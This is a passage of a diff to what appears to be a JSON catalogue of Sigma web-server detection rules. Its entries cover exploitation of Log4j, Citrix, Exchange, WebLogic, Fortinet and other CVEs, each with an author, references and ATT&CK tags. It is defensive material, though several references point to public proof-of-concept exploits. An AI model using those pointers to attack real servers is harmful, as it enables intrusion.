"https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ursnif_malware_download_url.yml" - ], - "tags": "No established tags" - }, - "uuid": "a36ce77e-30db-4ea0-8795-644d7af5dfb4", - "value": "Ursnif Malware Download URL Pattern" - }, - { - "description": "Detects a segmentation fault error message caused by a creashing apache worker process", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/02/28", - "falsepositive": [ - "Unknown" - ], - "filename": "web_apache_segfault.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "No established product", - "refs": [ - "http://www.securityfocus.com/infocus/1633", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_apache_segfault.yml" - ], - "tags": [ - "attack.impact", - "attack.t1499.004" - ] - }, - "uuid": "1da8ce0b-855d-4004-8860-7d64d42063b1", - "value": "Apache Segmentation Fault" - }, - { - "description": "Detects an issue in apache logs that reports threading related errors", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/01/22", - "falsepositive": [ - "3rd party apache modules - https://bz.apache.org/bugzilla/show_bug.cgi?id=46185" - ], - "filename": "web_apache_threading_error.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_apache_threading_error.yml", - "https://github.com/hannob/apache-uaf/blob/da40f2be3684c8095ec6066fa68eb5c07a086233/README.md" - ], - "tags": "No established tags" - }, - "uuid": "e9a2b582-3f6a-48ac-b4a1-6849cdc50b3c", - "value": "Apache Threading Error" - }, - { - "description": "MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier,\nwhen magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter.\n", - "meta": { - "author": "Subhash Popuri (@pbssubhash)", - "creation_date": "2021/08/25", - "falsepositive": [ - "Scanning from Nuclei", - "Unknown" - ], - "filename": "web_cve_2010_5278_exploitation_attempt.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2010_5278_exploitation_attempt.yml", - "https://github.com/projectdiscovery/nuclei-templates" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "a4a899e8-fd7a-49dd-b5a8-7044def72d61", - "value": "CVE-2010-5278 Exploitation Attempt" - }, - { - "description": "Detects attempts to exploit a Rejetto HTTP File Server (HFS) via CVE-2014-6287", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/19", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2014_6287_hfs_rce.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://vk9-sec.com/hfs-code-execution-cve-2014-6287/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2014_6287_hfs_rce.yml", - "https://github.com/Twigonometry/Cybersecurity-Notes/blob/c875b0f52df7d2c7a870e75e1f0c2679d417931d/Writeups/Hack%20the%20Box/Boxes/Optimum/10%20-%20Website.md", - "https://www.exploit-db.com/exploits/39161" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.t1505.003", - "cve.2014.6287" - ] - }, - "uuid": "a133193c-2daa-4a29-8022-018695fcf0ae", - "value": "Rejetto HTTP File Server RCE" - }, - { - "description": "Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2020/12/08", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2018_13379_fortinet_preauth_read_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2018_13379_fortinet_preauth_read_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "a2e97350-4285-43f2-a63f-d0daff291738", - "value": "Fortinet CVE-2018-13379 Exploitation" - }, - { - "description": "Detects access to a webshell dropped into a keystore folder on the WebLogic server", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/07/22", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2018_2894_weblogic_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2018_2894_weblogic_exploit.yml", - "https://github.com/LandGrey/CVE-2018-2894", - "https://twitter.com/pyn3rd/status/1020620932967223296" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "attack.persistence", - "attack.t1505.003", - "cve.2018.2894" - ] - }, - "uuid": "37e8369b-43bb-4bf8-83b6-6dd43bda2000", - "value": "Oracle WebLogic Exploit" - }, - { - "description": "Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/11/18", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2019_11510_pulsesecure_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_11510_pulsesecure_exploit.yml", - "https://www.exploit-db.com/exploits/47297" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "2dbc10d7-a797-49a8-8776-49efa6442e60", - "value": "Pulse Secure Attack CVE-2019-11510" - }, - { - "description": "Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack", - "meta": { - "author": "Arnim Rupp, Florian Roth", - "creation_date": "2020/01/02", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2019_19781_citrix_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://isc.sans.edu/diary/25686", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_19781_citrix_exploit.yml", - "https://support.citrix.com/article/CTX267679", - "https://twitter.com/mpgn_x64/status/1216787131210829826", - "https://support.citrix.com/article/CTX267027", - "https://github.com/x1sec/CVE-2019-19781/blob/25f7ab97275b2d41800bb3414dac8ca3a78af7e5/CVE-2019-19781-DFIR.md" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "ac5a6409-8c89-44c2-8d64-668c29a2d756", - "value": "Citrix Netscaler Attack CVE-2019-19781" - }, - { - "description": "Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/05/26", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2019_3398_confluence.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_3398_confluence.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "e9bc39ae-978a-4e49-91ab-5bd481fc668b", - "value": "Confluence Exploitation CVE-2019-3398" - }, - { - "description": "Detects CVE-2020-0688 Exploitation attempts", - "meta": { - "author": "NVISO", - "creation_date": "2020/02/27", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_0688_exchange_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_0688_exchange_exploit.yml", - "https://github.com/Ridter/cve-2020-0688" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "7c64e577-d72e-4c3d-9d75-8de6d1f9146a", - "value": "CVE-2020-0688 Exploitation Attempt" - }, - { - "description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/02/29", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_0688_msexchange.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_0688_msexchange.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "fce2c2e2-0fb5-41ab-a14c-5391e1fd70a5", - "value": "CVE-2020-0688 Exchange Exploitation via Web Log" - }, - { - "description": "Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts", - "meta": { - "author": "Bhabesh Raj, Tim Shelton", - "creation_date": "2020/12/27", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_10148_solarwinds_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_10148_solarwinds_exploit.yml", - "https://kb.cert.org/vuls/id/843464" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "5a35116f-43bc-4901-b62d-ef131f42a9af", - "value": "CVE-2020-10148 SolarWinds Orion API Auth Bypass" - }, - { - "description": "Detects exploitation attempts on WebLogic servers", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/11/02", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_14882_weblogic_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://twitter.com/sudo_sudoka/status/1323951871078223874", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_14882_weblogic_exploit.yml", - "https://twitter.com/jas502n/status/1321416053050667009?s=20", - "https://isc.sans.edu/diary/26734" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "cve.2020.14882" - ] - }, - "uuid": "85d466b0-d74c-4514-84d3-2bdd3327588b", - "value": "Oracle WebLogic Exploit CVE-2020-14882" - }, - { - "description": "Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/01/25", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_28188_terramaster_rce_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/", - "https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_28188_terramaster_rce_exploit.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "cve.2020.28188" - ] - }, - "uuid": "15c312b9-00d0-4feb-8870-7d940a4bdc5e", - "value": "TerraMaster TOS CVE-2020-28188" - }, - { - "description": "Detects exploitation attempts on Cisco ASA FTD systems exploiting CVE-2020-3452 with a status code of 200 (sccessful exploitation)", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/01/07", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_3452_cisco_asa_ftd.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://twitter.com/aboul3la/status/1286012324722155525", - "https://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_3452_cisco_asa_ftd.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "cve.2020.3452" - ] - }, - "uuid": "aba47adc-4847-4970-95c1-61dce62a8b29", - "value": "Cisco ASA FTD Exploit CVE-2020-3452" - }, - { - "description": "Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/07/05", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_5902_f5_bigip.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://support.f5.com/csp/article/K52145254", - "https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_5902_f5_bigip.yml", - "https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/", - "https://twitter.com/yorickkoster/status/1279709009151434754" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "44b53b1c-e60f-4a7b-948e-3435a7918478", - "value": "CVE-2020-5902 F5 BIG-IP Exploitation Attempt" - }, - { - "description": "Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/07/10", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2020_8193_8195_citrix_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://support.citrix.com/article/CTX276688", - "https://dmaasland.github.io/posts/citrix.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_8193_8195_citrix_exploit.yml", - "https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "0d0d9a8a-a49e-4e27-b061-7ce4b936cfb7", - "value": "Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195" - }, - { - "description": "Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091.", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/08/24", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_20090_2021_20091_arcadyan_router_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.tenable.com/security/research/tra-2021-13", - "https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild", - "https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_20090_2021_20091_arcadyan_router_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2021.20090", - "cve.2021.20091" - ] - }, - "uuid": "f0500377-bc70-425d-ac8c-e956cd906871", - "value": "Arcadyan Router Exploitations" - }, - { - "description": "Detects the exploitation of the WebLogic server vulnerability described in CVE-2021-2109", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/01/20", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_2109_weblogic_rce_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://twitter.com/pyn3rd/status/1351696768065409026", - "https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_2109_weblogic_rce_exploit.yml" - ], - "tags": [ - "attack.t1190", - "attack.initial_access", - "cve.2021.2109" - ] - }, - "uuid": "687f6504-7f44-4549-91fc-f07bab065821", - "value": "Oracle WebLogic Exploit CVE-2021-2109" - }, - { - "description": "Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/02/24", - "falsepositive": [ - "OVA uploads to your VSphere appliance" - ], - "filename": "web_cve_2021_21972_vsphere_unauth_rce_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21972_vsphere_unauth_rce_exploit.yml", - "https://swarm.ptsecurity.com/unauth-rce-vmware", - "https://f5.pm/go-59627.html", - "https://www.vmware.com/security/advisories/VMSA-2021-0002.html" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "179ed852-0f9b-4009-93a7-68475910fd86", - "value": "CVE-2021-21972 VSphere Exploitation" - }, - { - "description": "Detects the exploitation of the VMware View Planner vulnerability described in CVE-2021-21978", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2020/03/10", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_21978_vmware_view_planner_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21978_vmware_view_planner_exploit.yml", - "https://paper.seebug.org/1495/", - "https://twitter.com/wugeej/status/1369476795255320580" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2021.21978" - ] - }, - "uuid": "77586a7f-7ea4-4c41-b19c-820140b84ca9", - "value": "CVE-2021-21978 Exploitation Attempt" - }, - { - "description": "Detects exploitation attempts using file upload vulnerability CVE-2021-22005 in the VMWare vCenter Server.", - "meta": { - "author": "Sittikorn S", - "creation_date": "2021/09/24", - "falsepositive": [ - "Vulnerability Scanning" - ], - "filename": "web_cve_2021_22005_vmware_file_upload.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22005_vmware_file_upload.yml", - "https://kb.vmware.com/s/article/85717", - "https://www.tenable.com/blog/cve-2021-22005-critical-file-upload-vulnerability-in-vmware-vcenter-server" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "b014ea07-8ea0-4859-b517-50a4e5b7ecec", - "value": "VMware vCenter Server File Upload CVE-2021-22005" - }, - { - "description": "Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs", - "meta": { - "author": "Bhabesh Raj, Florian Roth", - "creation_date": "2021/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_22123_fortinet_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22123_fortinet_exploit.yml", - "https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "f425637f-891c-4191-a6c4-3bb1b70513b4", - "value": "Fortinet CVE-2021-22123 Exploitation" - }, - { - "description": "This rule detects exploitation attempts using Pulse Connect Secure(PCS) vulnerability (CVE-2021-22893)", - "meta": { - "author": "Sittikorn S", - "creation_date": "2021/06/29", - "falsepositive": [ - "Vulnerability Scanning" - ], - "filename": "web_cve_2021_22893_pulse_secure_rce_exploit.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22893_pulse_secure_rce_exploit.yml", - "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html", - "https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "5525edac-f599-4bfd-b926-3fa69860e766", - "value": "Pulse Connect Secure RCE Attack CVE-2021-22893" - }, - { - "description": "Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/05/22", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_26814_wzuh_rce.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/WickdDavid/CVE-2021-26814/blob/6a17355a10ec4db771d0f112cbe031e418d829d5/PoC.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_26814_wzuh_rce.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2021.21978", - "cve.2021.26814" - ] - }, - "uuid": "b9888738-29ed-4c54-96a4-f38c57b84bb3", - "value": "Exploitation of CVE-2021-26814 in Wazuh" - }, - { - "description": "When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories", - "meta": { - "author": "frack113", - "creation_date": "2021/08/10", - "falsepositive": [ - "Unlikely" - ], - "filename": "web_cve_2021_26858_iis_rce.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_26858_iis_rce.yml", - "https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c" - ], - "tags": "No established tags" - }, - "uuid": "effee1f6-a932-4297-a81f-acb44064fa3a", - "value": "ProxyLogon Reset Virtual Directories Based On IIS Log" - }, - { - "description": "Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/05/14", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_28480_exchange_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_28480_exchange_exploit.yml", - "https://twitter.com/GossiTheDog/status/1392965209132871683?s=20" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "a2a9d722-0acb-4096-bccc-daaf91a5037b", - "value": "Exchange Exploitation CVE-2021-28480" - }, - { - "description": "Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766", - "meta": { - "author": "Florian Roth, Max Altgelt, Christian Burkard", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_33766_msexchange_proxytoken.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_33766_msexchange_proxytoken.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "56973b50-3382-4b56-bdf5-f51a3183797a", - "value": "CVE-2021-33766 Exchange ProxyToken Exploitation" - }, - { - "description": "Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539", - "meta": { - "author": "Tobias Michalski, Max Altgelt", - "creation_date": "2021/09/20", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_40539_adselfservice.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://us-cert.cisa.gov/ncas/alerts/aa21-259a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_40539_adselfservice.yml" - ], - "tags": "No established tags" - }, - "uuid": "6702b13c-e421-44cc-ab33-42cc25570f11", - "value": "ADSelfService Exploitation" - }, - { - "description": "Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539).", - "meta": { - "author": "Sittikorn S, Nuttakorn Tungpoonsup", - "creation_date": "2021/09/10", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_40539_manageengine_adselfservice_exploit.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://us-cert.cisa.gov/ncas/alerts/aa21-259a", - "https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_40539_manageengine_adselfservice_exploit.yml", - "https://therecord.media/cisa-warns-of-zoho-server-zero-day-exploited-in-the-wild/" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "fcbb4a77-f368-4945-b046-4499a1da69d1", - "value": "CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit" - }, - { - "description": "Detects exploitation of flaw in path normalization in Apache HTTP server 2.4.49.\nAn attacker could use a path traversal attack to map URLs to files outside the expected document root.\nIf files outside of the document root are not protected by \"require all denied\" these requests can succeed.\nAdditionally this flaw could leak the source of interpreted files like CGI scripts.\nThis issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.\n", - "meta": { - "author": "daffainfo, Florian Roth", - "creation_date": "2021/10/05", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2021_41773_apache_path_traversal.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://twitter.com/ptswarm/status/1445376079548624899", - "https://twitter.com/bl4sty/status/1445462677824761878", - "https://nvd.nist.gov/vuln/detail/CVE-2021-41773", - "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/cves/2021/CVE-2021-41773.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_41773_apache_path_traversal.yml", - "https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782", - "https://twitter.com/h4x0r_dz/status/1445401960371429381" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "3007fec6-e761-4319-91af-e32e20ac43f5", - "value": "CVE-2021-41773 Exploitation Attempt" - }, - { - "description": "Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/11/17", - "falsepositive": [ - "Vulnerability Scanning" - ], - "filename": "web_cve_2021_42237_sitecore_report_ashx.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_42237_sitecore_report_ashx.yml", - "https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776", - "https://blog.assetnote.io/2021/11/02/sitecore-rce/" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "20c6ed1c-f7f0-4ea3-aa65-4f198e6acb0f", - "value": "Sitecore Pre-Auth RCE CVE-2021-42237" - }, - { - "description": "Detects a successful Grafana path traversal exploitation", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/12/08", - "falsepositive": [ - "Vulnerability scanners that scan a host that returns 200 status codes even in cases of a file not found or other error" - ], - "filename": "web_cve_2021_43798_grafana.yml", - "level": "critical", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/", - "https://github.com/search?q=CVE-2021-43798", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_43798_grafana.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "7b72b328-5708-414f-9a2a-6a6867c26e16", - "value": "Grafana Path Traversal Exploitation CVE-2021-43798" - }, - { - "description": "Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell)", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/12/10", - "falsepositive": [ - "Vulnerability scanning" - ], - "filename": "web_cve_2021_44228_log4j.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/YfryTchsGD/Log4jAttackSurface", - "https://twitter.com/shutingrz/status/1469255861394866177?s=21", - "https://github.com/tangxiaofeng7/apache-log4j-poc", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j.yml", - "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", - "https://www.lunasec.io/docs/blog/log4j-zero-day/", - "https://news.ycombinator.com/item?id=29504755" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "5ea8faa8-db8b-45be-89b0-151b84c82702", - "value": "Log4j RCE CVE-2021-44228 Generic" - }, - { - "description": "Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 in different header fields found in web server logs (Log4Shell)", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/12/10", - "falsepositive": [ - "Vulnerability scanning" - ], - "filename": "web_cve_2021_44228_log4j_fields.yml", - "level": "high", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://github.com/YfryTchsGD/Log4jAttackSurface", - "https://twitter.com/shutingrz/status/1469255861394866177?s=21", - "https://github.com/tangxiaofeng7/apache-log4j-poc", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j_fields.yml", - "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", - "https://www.lunasec.io/docs/blog/log4j-zero-day/", - "https://news.ycombinator.com/item?id=29504755" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "9be472ed-893c-4ec0-94da-312d2765f654", - "value": "Log4j RCE CVE-2021-44228 in Fields" - }, - { - "description": "Detects an attempt to leverage the vulnerable servlet \"mboximport\" for an unauthenticated remote command injection", - "meta": { - "author": "@gott_cyber", - "creation_date": "2022/08/17", - "falsepositive": [ - "Unknown" - ], - "filename": "web_cve_2022_27925_exploit.yml", - "level": "medium", - "logsource.category": "webserver", - "logsource.product": "No established product", - "refs": [ - "https://www.yang99.top/index.php/archives/82/", - "https://github.com/vnhacker1337/CVE-2022-27925-PoC", - "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_27925_exploit.yml", - 